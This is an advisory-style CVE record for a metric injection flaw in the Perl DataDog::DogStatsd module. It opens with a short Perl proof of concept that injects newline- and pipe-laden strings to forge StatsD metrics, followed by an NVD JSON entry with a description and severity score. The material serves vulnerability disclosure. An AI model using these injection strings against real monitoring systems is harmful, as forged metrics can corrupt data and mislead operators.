CVE-2026-9270

use DataDog::DogStatsd; my $statsd = DataDog::DogStatsd->new( host => 'localhost', port => 8125, ); # Metric name injection - inject newline to change prefix my $malicious_stat = "\nhack:1|c"; $statsd->increment($malicious_stat); # Value injection - inject additional metrics my $malicious_value = "1|c\nmalicious.metric:999|g"; $statsd->increment($malicious_value, 1); # Tag injection - use pipe and newline to inject metrics my $malicious_tag = "user\nfake.metric:100|c"; $statsd->increment('test', 1, ["tag1:$malicious_tag"]); # Direct send_stats exploitation my %sample_metric = ( stat => "\nfake.metric:1|c", value => 1, type => 'c', ); $statsd->send_stats(%sample_metric);

{"cve": {"id": "CVE-2026-9270", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-05T16:16:41.780", "lastModified": "2026-06-10T15:01:31.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DataDog::DogStatsd versions through 0.07 for Perl allow metric injections.\n\nDataDog::DogStatsd does not properly sanitise input, allowing metric injections of data from untrusted sources.\n\nThe send_stats method does not remove newlines from metric names ($stat variable), allowing attackers to change the metric name prefix.\n\nThe send_stats method does not validate the content of the value ($delta variable), allowing attackers to inject metrics, especially from methods that do not restrict the data type for the value, such as set, gauge, count and histogram.\n\nThe send_stats method does not validate the content of the tags, which may contain newlines, pipes and colons that allow metric injections.\n\nNote that the SYNOPSIS shows an example of passing a website form \"loginName\" parameter as a tag, which is unsafe."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}, {"lang": "en", "value": "CWE-150"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:binary:datadog\\:\\:dogstatsd:*:*:*:*:*:perl:*:*", "versionEndIncluding": "0.07", "matchCriteriaId": "7698C317-26E6-4CC9-8811-62E53194508F"}]}]}], "references": [{"url": "https://www.cve.org/CVERecord?id=CVE-2026-46719", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-46720", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-46741", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}]}}